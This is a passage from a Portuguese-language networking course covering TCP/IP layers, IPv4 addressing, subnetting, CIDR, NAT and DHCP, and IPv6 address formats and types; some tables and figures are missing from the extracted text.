A função da camada Internet é prover a conectividade lógica realizando a comutação

de pacotes, ou roteamento, de forma a encontrar o melhor caminho para a transmitir
pacotes, datagramas, através da rede.
Os protocolos principais desta camada são:
• IP (Internet Protocol)
• ICMP (Internet Control Message Protocol) (popular ping)
• ARP (Address Resolution Protocol)
• RARP (Reverse Address Resolution Protocol)
1.3.3 Camada de Transporte
A principal função da camada de transporte é prover uma comunicação fim-a-fim

entre as aplicações de origem e destino, de forma transparente para as camadas
adjacentes.
O nome dado à PDU (Protocol Data Unit) desta camada é segmento.
Ela é equivalente à camada 4 do Modelo OSI. Seus dois principais protocolos são o
TCP e o UDP.
O TCP (Transmission Control Protocol) é um protocolo orientado a conexão. Fornece

um serviço confiável, com garantia de entrega dos dados.
Suas principais funções são:
• Compatibilidade do tamanho dos segmentos

• Confiabilidade da integridade dos dados
• Multiplexação
• Seqüenciamento
• Controle de fluxo
• Janelamento
O UDP (User Datagram Protocol) é um protocolo não orientado a conexão. Fornece

um serviço, não confiável, sem garantia de entrega dos dados. Um datagrama pode
se perder, sofrer atrasos, ser duplicado ou ser entregue fora de seqüência. Não
executa nenhum mecanismo de controle e nem envia mensagens de erro.
1.3.4 Camada de Aplicação
A camada de Aplicação tem a função de prover uma interface entre os programas de

usuários (aplicativos) e as redes de comunicação de dados
A camada de Aplicação é equivalente às camadas 5, 6 e 7 do Modelo OSI. Os pro-

tocolos mais conhecidos são:
• HTTP – HyperText Transfer Protocol - protocolo responsável pela comunicação

via páginas WWW (World Wide Web) ou, simplesmente, Web. Por um programa
navegador (browser), usando o protocolo HTTP, um usuário pode acessar in-
formações contidas em um servidor Web.
• FTP – File Transfer Protocol – protocolo responsável pela transferência de ar-

quivos entre computadores.
• Telnet – Terminal de acesso remoto – protocolo que permite o acesso a um

equipamento distante. Permite que possamos dar comando e rodar aplicações
remotamente.
• DNS – Domain Name System – aplicação responsável pela tradução de ende-

reços IP em nomes e vice-versa.
• SMTP – Simple Mail Transfer Protocol – protocolo responsável pelo armazena-

mento e envio de e-mails (Eletronic Mail - Correio Eletrônico).

1.4 Endereçamento IPv4
No IPV4, os endereço IP são compostos por 4 blocos de 8 bits (32 bits no total),
que são representados através de números de 0 a 255, como "200.156.23.43"ou
"64.245.32.11".
Conforme a RFC 1918 as faixas de endereços começadas com "10", com "192.168"
ou com de "172.16" até "172.31" são reservadas para uso em redes locais e por isso
não são usados na internet. Os roteadores que compõe a grande rede são configura-
dos para ignorar estes pacotes, de forma que as inúmeras redes locais que utilizam
endereços na faixa "192.168.0.x"(por exemplo) podem conviver pacificamente.
Para saber mais sobre este assundo consulte http://tools.ietf.org/html/rfc1918
Embora aparentem ser uma coisa só, os endereços IP incluem duas informações.
O endereço da rede e o endereço do host dentro dela. Em uma rede domés-
tica, por exemplo, você poderia utilizar os endereços "192.168.1.1", "192.168.1.2"e
"192.168.1.3", onde o "192.168.1."é o endereço da rede (e por isso não muda) e o
último número (1, 2 e 3) identifica os três micros que fazem parte dela.
Os micros da rede local podem acessar a internet através de um roteador, que pode
ser tanto um servidor com duas placas de rede, quando um modem ADSL ou outro
dispositivo que ofereça a opção de compartilhar a conexão. Neste caso, o roteador
passa a ser o gateway da rede e utiliza seu endereço IP válido para encaminhar as
requisições feitas pelos micros da rede interna. Este recurso é chamado de NAT
(Network Address Translation).
Endereços de 32 bits permitem cerca de 4 bilhões de endereços diferentes. Os

endereços são divididos em:
O grande problema é que os endereços são sempre divididos em duas partes, rede
e host. Nos endereços de classe A, o primeiro octeto se refere à rede e os três octe-

tos seguintes referem-se ao host. Temos apenas 126 faixas de endereços classe A
disponíveis no mundo, dadas a governos, instituições e até mesmo algumas empre-
sas privadas, como por exemplo a IBM. As faixas de endereços classe A consomem
cerca de metade dos endereços IP disponíveis, representando um gigantesco des-
perdício, já que nenhuma das faixas é completamente utilizada. Será que a IBM
utiliza todos os 16 milhões de endereços IP a que tem direito? Certamente não.
Mesmo nos endereços classe B (dois octetos para a rede, dois para o host, garan-
tindo 65536 endereços) e nos classe C (três octetos para a rede e um para o host,
ou seja, apenas 256 endereços) o desperdício é muito grande. Muitas empresas
alugam faixas de endereços classe C para utilizar apenas dois ou três endereços por
exemplo.
Para piorar, parte dos endereços estão reservados para as classes D e E, que jamais
foram implementadas. Isto faz com que já haja uma grande falta de endereços,
principalmente os de classe A e B, que já estão todos ocupados.
Para saber mais sobre a alocação dos endereços IPV4 visite

http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml
1.4.1 Máscara de rede
A máscara de rede, juntamente com o endereço IP, define a rede o computador per-
tence, isto é, que outros endereços IP que o computador pode comunicar diretamente
na mesma LAN.
A fim de compreender a máscara lembre-se sempre que os 4 bytes que define tanto o
endereço IP e a máscara de rede poderiam ser representados em formato binário.
A máscara de rede é, por definição, uma seqüência de "1"a partir da esquerda para
a direita, seguido por um certo número de "0"(a faixa de rede). Devido a esta regra
a máscara de rede é muitas vezes representada com valores decimais, que soam
como um ou mais "255", seguido por um ou mais "0".
Utilizando máscaras de sub-rede padrão para cada classe de endereços, onde são
utilizados oito, dezesseis ou vinte e quatro bits para a máscara de rede, conforme
descrito a seguir:

Foi definida na RFC 1519 uma notação conhecida como CIDR (Classless Inter-
Domain Routing), onde a máscara de sub-rede é indicada simplesmente pelo número
de bits utilizados na máscara de sub-rede, conforme exemplos a seguir:
Porém com este esquema de endereçamento, baseado apenas nas máscaras de

rede padrão para cada classe (oito, dezesseis ou vinte e quatro bits), haveria um
grande desperdício de números IP. Por exemplo, que empresa no mundo precisa-
ria da faixa completa de uma rede classe A, na qual estão disponíveis mais de 16
milhões de endereços IP?
Analise o outro extremo desta questão. Imagine, por exemplo, uma empresa de
porte médio, que tem a matriz em São Paulo e mais cinco filiais em outras cidades
do Brasil. Agora imagine que em nenhuma das localidades, a rede tem mais do
que 30 computadores. Se for usado as máscaras de sub-rede padrão, teria que ser
definida uma rede Classe C (até 254 computadores), para cada localidade. Observe
que estamos reservando 254 números IP para cada localidade (uma rede classe C
com máscara 255.255.255.0), quando na verdade, no máximo, 30 números serão
utilizados em cada localidade. Na prática, um belo desperdício de endereços IP,
mesmo em um empresa de porte médio ou pequeno.
Observe que neste exemplo, uma única rede Classe C seria suficiente. Já que são
seis localidades (a matriz mais seis filiais), com um máximo de 30 endereços por
localidade, um total de 254 endereços de uma rede Classe C seria mais do que
suficiente. Ainda haveria desperdício, mas agora bem menor.
A boa notícia é que é possível “dividir” uma rede (qualquer rede) em sub-redes, onde
cada sub-rede fica apenas com uma faixa de números IP de toda a faixa original.

Por exemplo, a rede Classe C 200.100.100.0/255.255.255.0, com 256 números IPs

disponíveis (na prática são 254 números que podem ser utilizados, descontando o
primeiro que é o número da própria rede e o último que o endereço de broadcast,
poderia ser dividida em 8 sub-redes, com 32 números IP em cada sub-rede. O
esquema a seguir ilustra este conceito:
Rede original: 256 endereços IP disponíveis: 200.100.100.0 -> 200.100.100.255 Di-

visão da rede em 8 sub-redes, onde cada sub-rede fica com 32 endereços IP:
Sub-rede 01: 200.100.100.0 -> 200.100.100.31
Sub-rede 02: 200.100.100.32 -> 200.100.100.63
Sub-rede 03: 200.100.100.64 -> 200.100.100.95
Sub-rede 04: 200.100.100.96 -> 200.100.100.127
Sub-rede 05: 200.100.100.128 -> 200.100.100.159
Sub-rede 06: 200.100.100.160 -> 200.100.100.191
Sub-rede 07: 200.100.100.192 -> 200.100.100.223
Sub-rede 08: 200.100.100.224 -> 200.100.100.255
Para o exemplo da empresa com seis localidades (matriz mais cinco filiais), onde,
no máximo, são necessários trinta endereços IP por localidade, a utilização de uma
única rede classe C, dividida em 8 sub-redes seria a solução ideal. Na prática a
primeira e a última sub-rede são descartadas, pois o primeiro IP da primeira sub-
rede representa o endereço de rede e o último IP da última sub-rede representa o
endereço de broadcast. Com isso restariam, ainda, seis sub-redes. Exatamente a
quantia necessária para o exemplo proposto. Observe que ao invés de seis redes
classe C, bastou uma única rede Classe C, subdividida em seis sub-redes. Uma bela
economia de endereços. Claro que se um dos escritórios, ou a matriz, precisasse de
mais de 32 endereços IP, um esquema diferente de divisão teria que ser criado.
Em 1990, já existiam 313.000 hosts conectados a rede e estudos já apontavam para

um colapso devido a falta de endereços. Além disso outros problemas também
tornavam-se mais efetivos conforme a Internet evoluía, como o aumento da tabela
de roteamento.
Devido ao ritmo de crescimento da Internet e da política de distribuição de endereços,

em maio de 1992, 38% das faixas de endereços classe A, 43% da classe B e 2% da

classe C, já estavam alocados. Nesta época, a rede já possuía 1.136.000 hosts

conectados.
Em 1993, com a criação do protocolo HTTP e a liberação por parte do Governo dos
Estados Unidos para a utilização comercial da Internet, houve um salto ainda maior
na taxa de crescimento da rede, que passou de 2.056.000 de hosts em 1993 para
mais de 26.000.000 de hosts em 1997.
Diante desse cenário, a IETF (Internet Engineering Task Force) passa a discutir es-
tratégias para solucionar a questão do esgotamento dos endereços IP e do aumento
da tabela de roteamento. Em função disso, em novembro de 1991, é formado o grupo
de trabalho ROAD (ROuting and Addressing), que apresenta como solução a estes
problemas, a utilização do CIDR (Classless Inter-domain Routing).
Definido na RFC 4632 (tornou obsoleta a RFC 1519), o CIDR tem como idéia básica
o fim do uso de classes de endereços, permitindo a alocação de blocos de tamanho
apropriado a real necessidade de cada rede; e a agregação de rotas, reduzindo o
tamanho da tabela de roteamento. Com o CIDR os blocos são referenciados como
prefixo de redes. Por exemplo, no endereço a.b.c.d/x, os x bits mais significativos
indicam o prefixo da rede. Outra forma de indicar o prefixo é através de máscaras,
onde a máscara 255.0.0.0 indica um prefixo /8, 255.255.0.0 indica um /16, e assim
sucessivamente.
Outra solução, apresentada na RFC 2131 (tornou obsoleta a RFC 1541), foi o pro-
tocolo DHCP (Dynamic Host Configuration Protocol). Através do DHCP um host é
capaz de obter um endereço IP automaticamente e adquirir informações adicionais
como máscara de sub-rede, endereço do roteador padrão e o endereço do servidor
DNS local.
O DHCP tem sido muito utilizado por parte dos ISPs por permitir a atribuição de
endereços IP temporários a seus clientes conectados. Desta forma, torna-se des-
necessário obter um endereço para cada cliente, devendo-se apenas designar en-
dereços dinamicamente, através de seu servidor DHCP. Este servidor terá uma lista
de endereços IP disponíveis, e toda vez que um novo cliente se conectar à rede, lhe
será designado um desses endereço de forma arbitrária, e no momento que o cliente
se desconecta, o endereço é devolvido.
A NAT (Network Address Translation), foi outra técnica paliativa desenvolvida para
resolver o problema do esgotamento dos endereços IPv4. Definida na RFC 3022
(tornou obsoleta a RFC 1631), tem como ideia básica permitir que, com um único
endereço IP, ou um pequeno número deles, vários hosts possam trafegar na Internet.
Dentro de uma rede, cada computador recebe um endereço IP privado único, que é
utilizado para o roteamento do tráfego interno. No entanto, quando um pacote precisa
ser roteado para fora da rede, uma tradução de endereço é realizada, convertendo

endereços IP privados em endereços IP públicos globalmente únicos.
Para tornar possível este esquema, utiliza-se os três intervalos de endereços IP de-
clarados como privados na RFC 1918, sendo que a única regra de utilização, é que
nenhum pacote contendo estes endereços pode trafegar na Internet pública. As três
faixas reservadas são:
• 10.0.0.0 a 10.255.255.255 /8 (16.777.216 hosts)
• 172.16.0.0 a 172.31.255.255 /12 (1.048.576 hosts)
• 192.168.0.0 a 192.168.255.255 /16 (65.536 hosts)
A utilização da NAT mostrou-se eficiente no que diz respeito a economia de en-

dereços IP, além de apresentar alguns outros aspectos positivos, como facilitar a
numeração interna das redes, ocultar a topologia das redes e só permitir a entrada
de pacotes gerados em resposta a um pedido da rede. No entanto, o uso da NAT
apresenta inconvenientes que não compensam as vantagens oferecidas.
A NAT quebra o modelo fim-a-fim da Internet, não permitindo conexões diretas en-
tre dois hosts, o que dificulta o funcionamento de uma série de aplicações, como
P2P, VoIP e VPNs. Outro problema é a baixa escalabilidade, pois o número de co-
nexões simultâneas é limitado, além de exigir um grande poder de processamento
do dispositivo tradutor. O uso da NAT também impossibilita rastrear o caminho de
pacote, através de ferramentas como traceroute, por exemplo, e dificulta a utilização
de algumas técnicas de segurança como IPSec. Além disso, seu uso passa uma
falsa sensação de segurança, pois, apesar de não permitir a entrada de pacotes não
autorizados, a NAT não realiza nenhum tipo de filtragem ou verificação nos pacotes
que passa por ela.
A imagem abaixo mostra o quanto essas medidas ajudaram a diminuir o aumento da

alocação de endereço:
Embora estas soluções tenham diminuído a demanda por IPs, elas não foram sufici-
entes para resolver os problemas decorrentes do crescimento da Internet. A adoção

dessas técnicas reduziu em apenas 14
Essas medidas, na verdade, serviram para que houvesse mais tempo para se de-
senvolver uma nova versão do IP, que fosse baseada nos princípios que fizeram o
sucesso do IPv4, porém, que fosse capaz de suprir as falhas apresentadas por ele.
Deste modo, em dezembro de 1993 a IETF formalizou, através da RFC 1550, as

pesquisas a respeito da nova versão do protocolo IP, solicitando o envio de projetos
e propostas para o novo protocolo. Esta foi umas das primeiras ações do grupo de
trabalho da IETF denominado Internet Protocol next generation (IPng). As principais
questões que deveriam ser abordadas na elaboração da próxima versão do protocolo
IP foram:
• Escalabilidade;
• Segurança;
• Configuração e administração de rede;
• Suporte a QoS;
• Mobilidade;
• Políticas de roteamento;
• Transição.
Diversos projetos começaram a estudar os efeitos do crescimento da Internet, sendo

os principais o CNAT, o IP Encaps, o Nimrod e o Simple CLNP. Destas propostas
surgiram o TCP and UDP with Bigger Addresses (TUBA), que foi uma evolução do
Simple CLNP, e o IP Address Encapsulation (IPAE), uma evolução do IP Encaps.
Alguns meses depois foram apresentados os projetos Paul’s Internet Protocol (PIP),
o Simple Internet Protocol (SIP) e o TP/IX. Uma nova versão do SIP, que englobava
algumas funcionalidades do IPAE, foi apresentada pouco antes de agregar-se ao
PIP, resultando no Simple Internet Protocol Plus (SIPP). No mesmo período, o TP/IX
mudou seu nome para Common Architecture for the Internet (CATNIP).
Em janeiro de 1995, na RFC 1752 o IPng apresentou um resumo das avaliações das
três principais propostas:
• CANTIP – foi concebido como um protocolo de convergência, para permitir a

qualquer protocolo da camada de transporte ser executado sobre qualquer pro-
tocolo de camada de rede, criando um ambiente comum entre os protocolos da

Internet, OSI e Novell;
• TUBA – sua proposta era de aumentar o espaço para endereçamento do IPv4

e torná-lo mais hierárquico, buscando evitar a necessidade de se alterar os
protocolos da camada de transporte e aplicação. Pretendia uma migração sim-
ples e em longo prazo, baseada na atualização dos host e servidores DNS,
entretanto, sem a necessidade de encapsulamento ou tradução de pacotes, ou
mapeamento de endereços;
• SIPP – concebido para ser uma etapa evolutiva do IPv4, sem mudanças radi-
cais e mantendo a interoperabilidade com a versão 4 do protocolo IP, fornecia
uma plataforma para novas funcionalidades da Internet, aumentava o espaço
para endereçamento de 32 bits para 64 bits, apresentava um nível maior de hi-
erarquia e era composto por um mecanismo que permitia “alargar o endereço”
chamado cluster addresses. Já possuía cabeçalhos de extensão e um campo
flow para identificar o tipo de fluxo de cada pacote.
Entretanto, conforme relatado também na RFC 1752, todas as três propostas apre-
sentavam problemas significativos. Deste modo, a recomendação final para o novo
Protocolo Internet baseou-se em uma versão revisada do SIPP, que passou a incor-
porar endereços de 128 bits, juntamente com os elementos de transição e autoconfi-
guração do TUBA, o endereçamento baseado no CIDR e os cabeçalhos de extensão.
O CATNIP, por ser considerado muito incompleto, foi descartado.
Após esta definição, a nova versão do Protocolo Internet passou a ser chamado
oficialmente de IPv6.
1.5 IPv6
As especificações da IPv6 foram apresentadas inicialmente na RFC 1883 de dezem-

bro de 1995, no entanto, em em dezembro de 1998, está RFC foi substituída pela
RFC 2460. Como principais mudanças em relação ao IPv4 destacam-se:
• Maior capacidade para endereçamento: no IPv6 o espaço para endereça-

mento aumentou de 32 bits para 128 bits, permitindo: níveis mais específicos
de agregação de endereços; identificar uma quantidade muito maior de dis-
positivos na rede; e implementar mecanismos de autoconfiguração. A escala-
bilidade do roteamento multicast também foi melhorada através da adição do
campo "escopo"no endereço multicast. E um novo tipo de endereço, o anycast,
foi definido;

• Simplificação do formato do cabeçalho: alguns campos do cabeçalho IPv4

foram removidos ou tornaram-se opcionais, com o intuito de reduzir o custo do
processamento dos pacotes nos roteadores;
• Suporte a cabeçalhos de extensão: as opções não fazem mais parte do ca-

beçalho base, permitindo um roteamento mais eficaz, limites menos rigorosos
em relação ao tamanho e a quantidade de opções, e uma maior flexibilidade
para a introdução de novas opções no futuro;
• Capacidade de identificar fluxos de dados: foi adicionado um novo recurso

que permite identificar de pacotes que pertençam a determinados tráfegos de
fluxos, para os quais podem ser requeridos tratamentos especiais;
• Suporte a autenticação e privacidade: foram especificados cabeçalhos de

extensão capazes de fornecer mecanismos de autenticação e garantir a inte-
gridade e a confidencialidade dos dados transmitidos.
1.5.1 Endereçamento
O protocolo IPv6 apresenta como principal característica e justificativa maior para o

seu desenvolvimento, o aumento no espaço para endereçamento. Por isso, é impor-
tante conhecermos as diferenças entre os endereços IPv4 e IPv6, saber reconhecer
a sintaxe dos endereços IPv6 e conhecer os tipos de endereços IPv6 existentes e
suas principais características.
No IPv4, o campo do cabeçalho reservado para o endereçamento possui 32 bits.

Este tamanho possibilita um máximo de 4.294.967.296 (232) endereços distintos.
A época de seu desenvolvimento, está quantidade era considerada suficiente para
identificar todos os computadores na rede e suportar o surgimento de novas sub-
redes. No entanto, com o rápido crescimento da Internet, surgiu o problema da
escassez dos endereços IPv4, motivando a a criação de uma nova geração do pro-
tocolo IP.
O IPv6 possui um espaço para endereçamento de 128 bits, sendo possível obter
340.282.366.920.938.463.463.374.607.431.768.211.456 endereços (2128). Este va-
lor representa aproximadamente 79 octilhões (7,9×1028) de vezes a quantidade de
endereços IPv4 e representa, também, mais de 56 octilhões (5,6×1028) de endere-
ços por ser humano na Terra, considerando-se a população estimada em 6 bilhões
de habitantes.
Serão abordados os seguintes tópicos:

• Representação dos endereços
• Tipos de endereços IPv6
• Endereços Unicast
Identificadores de interface
Endereços Multicast
1.5.1.1 Representação dos endereços
Os 32 bits dos endereços IPv4 são divididos em quatro grupos de 8 bits cada, separa-
dos por “.”, escritos com dígitos decimais. Por exemplo: 192.168.0.10. A representa-
ção dos endereços IPv6, divide o endereço em oito grupos de 16 bits, separando-os
por “:”, escritos com dígitos hexadecimais (0-F). Por exemplo:
• 2001:0DB8:AD1F:25E2:CADE:CAFE:F0CA:84C1
Na representação de um endereço IPv6, é permitido utilizar tanto caracteres maiús-

culos quanto minúsculos.
Além disso, regras de abreviação podem ser aplicadas para facilitar a escrita de
alguns endereços muito extensos. É permitido omitir os zeros a esquerda de cada
bloco de 16 bits, além de substituir uma sequência longa de zeros por “::”.
Por exemplo, o endereço 2001:0DB8:0000:0000:130F:0000:0000:140B pode ser

escrito como 2001:DB8:0:0:130F::140B ou 2001:DB8::130F:0:0:140B. Neste exem-
plo é possível observar que a abreviação do grupo de zeros só pode ser reali-
zada uma única vez, caso contrário poderá haver ambigüidades na representação
do endereço. Se o endereço acima fosse escrito como 2001:DB8::130F::140B,
não seria possível determinar se ele corresponde a 2001:DB8:0:0:130F:0:0:140B, a
2001:DB8:0:0:0:130F:0:140B ou 2001:DB8:0:130F:0:0:0:140B.
Esta abreviação pode ser feita também no fim ou no início do endereço, como ocorre
em 2001:DB8:0:54:0:0:0:0 que pode ser escrito da forma 2001:DB8:0:54::.
Outra representação importante é a dos prefixos de rede. Em endereços IPv6 ela

continua sendo escrita do mesmo modo que no IPv4, utilizando a notação CIDR.
Esta notação é representada da forma “endereço-IPv6/tamanho do prefixo”, onde
“tamanho do prefixo” é um valor decimal que especifica a quantidade de bits contí-
guos à esquerda do endereço que compreendem o prefixo. O exemplo de prefixo

de sub-rede apresentado a seguir indica que dos 128 bits do endereço, 64 bits são
utilizados para identificar a sub-rede.
• Prefixo 2001:db8:3003:2::/64
• Prefixo global 2001:db8::/32
• ID da sub-rede 3003:2
Esta representação também possibilita a agregação dos endereços de forma hierár-

quica, identificando a topologia da rede através de parâmetros como posição geográ-
fica, provedor de acesso, identificação da rede, divisão da sub-rede, etc. Com isso,
é possível diminuir o tamanho da tabela de roteamento e agilizar o encaminhamento
dos pacotes.
Com relação a representação dos endereços IPv6 em URLs (Uniform Resource Lo-
cators), estes agora passam a ser representados entre colchetes. Deste modo, não
haverá ambiguidades caso seja necessário indicar o número de uma porta junta-
mente com a URL. Observe os exemplos a seguir:
• http://[2001:12ff:0:4::22]/index.html
• http://[2001:12ff:0:4::22]:8080
1.5.1.2 Tipos de endereços IPv6
Existem no IPv6 três tipos de endereços definidos:
• Unicast – este tipo de endereço identifica uma única interface, de modo que
um pacote enviado a um endereço unicast é entregue a uma única interface;
• Anycast – identifica um conjunto de interfaces. Um pacote encaminhado a

um endereço anycast é entregue a interface pertencente a este conjunto mais
próxima da origem (de acordo com distância medida pelos protocolos de rote-
amento). Um endereço anycast é utilizado em comunicações de um-para-um-
de-muitos.
• Multicast – também identifica um conjunto de interfaces, entretanto, um pacote

enviado a um endereço multicast é entregue a todas as interfaces associadas
a esse endereço. Um endereço multicast é utilizado em comunicações de um-
para-muitos.

Diferente do IPv4, no IPv6 não existe endereço broadcast, responsável por direcionar
um pacote para todos os nós de um mesmo domínio. No IPv6, essa função foi
atribuída à tipos específicos de endereços multicast.
1.5.1.2.1 Endereços Unicast - Os endereços unicast são utilizados para comuni-

cação entre dois nós, por exemplo, telefones VoIPv6, computadores em uma rede
privada, etc., e sua estrutura foi definida para permitir agregações com prefixos de
tamanho flexível, similar ao CIDR do IPv4.
Existem alguns tipos de endereços unicast IPv6: Global Unicast; Unique-Local; e

Link-Local por exemplo. Existem também alguns tipos para usos especiais, como en-
dereços IPv4 mapeados em IPv6, endereço de loopback e o endereço não-especificado,
entre outros.
• Global Unicast – equivalente aos endereços públicos IPv4, o endereço global

unicast é globalmente roteável e acessível na Internet IPv6. Ele é constituído
por três partes: o prefixo de roteamento global, utilizado para identificar o tama-
nho do bloco atribuído a uma rede; a identificação da sub-rede, utilizada para
identificar um enlace em uma rede; e a identificação da interface, que deve
identificar de forma única uma interface dentro de um enlace.Sua estrutura foi
projetada para utilizar os 64 bits mais a esquerda para identificação da rede e os
64 bits mais a direita para identificação da interface. Portanto, exceto casos es-
pecíficos, todas as sub-redes em IPv6 tem o mesmo tamanho de prefixo, 64 bits
(/64), o que possibilita 264 = 18.446.744.073.709.551.616 dispositivos por sub-
rede. Atualmente, está reservada para atribuição de endereços a faixa 2000::/3
(001), que corresponde aos endereços de 2000:: a 3fff:ffff:ffff:ffff:ffff:ffff:ffff:ffff.
Isto representa 13% do total de endereços possíveis com IPv6, o que nos per-
mite criar 2.305.843.009.213.693.952 (2,3×1018) sub-redes (/64) diferentes ou
35.184.372.088.832 (3,5×1013) redes /48.
• Link Local – podendo ser usado apenas no enlace específico onde a interface
está conectada, o endereço link local é atribuído automaticamente utilizando
o prefixo FE80::/64. Os 64 bits reservados para a identificação da interface
são configurados utilizando o formato IEEE EUI- 64. Vale ressaltar que os
roteadores não devem encaminhar para outros enlaces, pacotes que possuam
como origem ou destino um endereço link-local
• Unique Local Address (ULA) – endereço com grande probabilidade de ser glo-
balmente único, utilizado apenas para comunicações locais, geralmente dentro
de um mesmo enlace ou conjunto de enlaces. Um endereço ULA não deve
ser roteável na Internet global.Um endereço ULA, criado utilizado um ID globa
alocado pseudo-randomicamente, é composto das seguintes partes:

Prefixo: FC00::/7.
Flag Local (L): se o valor for 1 (FD) o prefixo é atribuído localmente. Se o

valor for 0 (FC), o prefixo deve ser atribuído por uma organização central (ainda
a definir).
Identificador global: identificador de 40 bits usado para criar um prefixo

globalmente único.
Identificador da Interface: identificador da interface de 64 bits.
Deste modo, a estrutura de um endereço ULA é FDUU:UUUU:UUUU:: onde U são

os bits do identificador único, gerado aleatoriamente por um algoritmo específico.
Sua utilização permite que qualquer enlace possua um prefixo /48 privado e único
globalmente. Deste modo, caso duas redes, de empresas distintas por exemplo,
sejam interconectadas, provavelmente não haverá conflito de endereços ou neces-
sidade de renumerar a interface que o esteja usando. Além disso, o endereço ULA
é independente de provedor, podendo ser utilizado na comunicação dentro do en-
lace mesmo que não haja uma conexão com a Internet. Outra vantagem, é que seu
prefixo pode ser facilmente bloqueado, e caso um endereço ULA seja anunciado aci-
dentalmente para fora do enlace, através de um roteador ou via DNS, não haverá
conflito com outros endereços.
1.5.1.2.1.1 Identificadores de interface Os identificadores de interface (IID), utili-

zados para distinguir as interfaces dentro de um enlace, devem ser únicos dentro do
mesmo prefixo de sub-rede. O mesmo IID pode ser usado em múltiplas interfaces
em um único nó, porém, elas dever estar associadas a deferentes sub-redes.
Normalmente utiliza-se um IID de 64 bits, que pode ser obtido de diversas formas.
Ele pode ser configurado manualmente, a partir do mecanismo de autoconfiguração
stateless do IPv6, a partir de servidores DHCPv6 (stateful), ou formados a partir
de uma chave pública (CGA). Estes métodos serão detalhados no decorrer deste
curso.
Embora eles possam ser gerados randomicamente e de forma temporária, recomenda-

se que o IID seja construído baseado no endereço MAC da interface, no formato
EUI-64.
Um IID baseado no formato EUI-64 é criado da seguinte forma:
• Caso a interface possua um endereço MAC de 64 bits (padrão EUI-64), basta

complementar o sétimo bit mais a esquerda (chamado de bit U/L – Universal/-

Local) do endereço MAC, isto é, se for 1, será alterado para 0; se for 0, será
alterado para 1. Caso a interface utilize um endereço MAC de 48 bits (padrão
IEEE 802), primeiro adiciona-se os dígitos hexadecimais FF-FE entre o terceiro
e quarto Byte do endereço MAC (transformando no padrão EUI-64), e em se-
guida, o bit U/L é complementado. Por exemplo:
• Se endereço MAC da interface for:
48-1E-C9-21-85-0C
• adiciona-se os dígitos FF-FE na metade do endereço:
48-1E-C9-FF-FE-21-85-0C
• complementa-se o bit U/L:
48 = 01001000
01001000 → 01001010
01001010 = 4A
• IID = 4A-1E-C9-FF-FE-21-85-0C
Um endereço link local atribuído à essa interface seria FE80::4A1E:C9FF:FE21:850C.
1.5.1.2.1.2 Endereços especiais Existem alguns endereços IPv6 especiais utili-

zados para fins específicos:
• Endereço Não-Especificado (Unspecified): é representado pelo endereço

0:0:0:0:0:0:0:0 ou ::0 (equivalente ao endereço IPv4 unspecified 0.0.0.0). Ele
nunca deve ser atribuído a nenhum nó, indicando apenas a ausência de um en-
dereço. Ele pode, por exemplo, ser utilizado no campo Endereço de Origem de
um pacote IPv6 enviado por um host durante o processo de inicialização, antes
que este tenha seu endereço exclusivo determinado. O endereço unspecified
não deve ser utilizado como endereço de destino de pacotes IPv6;
• Endereço Loopback: representado pelo endereço unicast 0:0:0:0:0:0:0:1 ou

::1 (equivalente ao endereço IPv4 loopback 127.0.0.1). Este endereço é utili-
zado para referenciar a própria máquina, sendo muito utilizado para teste inter-
nos. Este tipo de endereço não deve ser atribuído a nenhuma interface física,

nem usado como endereço de origem em pacotes IPv6 enviados para outros
nós. Além disso, um pacote IPv6 com um endereço loopback como destino não
pode ser enviado por um roteador IPv6, e caso um pacote recebido em uma in-
terface possua um endereço loopback como destino, este deve ser descartado;
• Endereços IPv4-mapeado: representado por 0:0:0:0:0:FFFF:wxyz ou ::FFFF:wxyz,

é usado para mapear um endereço IPv4 em um endereço IPv6 de 128-bit, onde
wxyz representa os 32 bits do endereço IPv4, utilizando dígitos decimais. É
aplicado em técnicas de transição para que nós IPv6 e IPv4 se comuniquem.
Ex. ::FFFF:192.168.100.1.
Algumas faixas de endereços também são reservadas para uso específicos:
• 2002::/16: prefixo utilizado no mecanismo de transição 6to4;
• 2001:0000::/32: prefixo utilizado no mecanismo de transição TEREDO;
• 2001:db8::/32: prefixo utilizado para representar endereços IPv6 em textos e

documentações.
Outros endereços, utilizados no início do desenvolvimento do IPv6 tornaram-se ob-

soletos e não devem mais ser utilizados:
• FEC0::/10: prefixo utilizado pelos endereços do tipo site local, desenvolvidos

para serem utilizados dentro de uma rede específica sem a necessidade de um
prefixo global, equivalente aos endereços privados do IPv4. Sua utilização foi
substituída pelos endereços ULA;
• ::wxyz: utilizado para representar o endereço IPv4-compatível. Sua função é a

mesma do endereço IPv4-mapeado, tornando-se obsoleto por desuso;
• 3FFE::/16: prefixo utilizado para representar os endereços da rede de teste

6Bone. Criada para ajudar na implantação do IPv6, está rede foi desativada
em 6 de junho de 2006 (06/06/06).
1.5.1.2.2 Endereços Anycast Um endereço IPv6 anycast é utilizado para identifi-

car um grupo de interfaces, porém, com a propriedade de que um pacote enviado a
um endereço anycast é encaminhado apenas a interface do grupo mais próxima da
origem do pacote.
Os endereços anycast são atribuídos a partir da faixa de endereços unicast e não

há diferenças sintáticas entre eles. Portanto, um endereço unicast atribuído a mais

de uma interface transforma-se em um endereço anycast, devendo-se neste caso,

configurar explicitamente os nós para que saibam que lhes foi atribuído um endereço
anycast. Além disso, este endereço deve ser configurado nos roteadores como uma
entrada separada (prefixo /128 – host route).
Este esquema de endereçamento pode ser utilizado para descobrir serviços na rede,
como servidores DNS e proxies HTTP, garantindo a redundância desses serviços.
Também pode-se utilizar para fazer balanceamento de carga em situações onde
múltiplos hosts ou roteadores provem o mesmo serviço, para localizar roteadores
que forneçam acesso a uma determinada sub-rede ou para localizar os Agentes de
Origem em redes com suporte a mobilidade IPv6.
Todos os roteadores devem ter suporte ao endereço anycast Subnet-Router. Este

tipo de endereço é formado pelo prefixo da sub-rede e pelo IID preenchido com
zeros (ex.: 2001:db8:cafe:dad0::/64).
Um pacote enviado para o endereço Subnet-Router será entregue para o roteador

mais próximo da origem dentro da mesma sub-rede.
Também foi definido um endereço anycast para ser utilizado no suporte a mobili-
dade IPv6. Este tipo de endereço é formado pelo prefixo da sub-rede seguido pelo
IID dfff:ffff:ffff:fffe (ex.: 2001:db8::dfff:ffff:ffff:fffe). Ele é utilizado pelo Nó Móvel,
quando este precisar localizar um Agente Origem em sua Rede Original.
1.5.1.2.3 Endereços Multicast Endereços multicast são utilizados para identificar

grupos de interfaces, sendo que cada interface pode pertencer a mais de um grupo.
Os pacotes enviados para esses endereço são entregues a todos as interfaces que
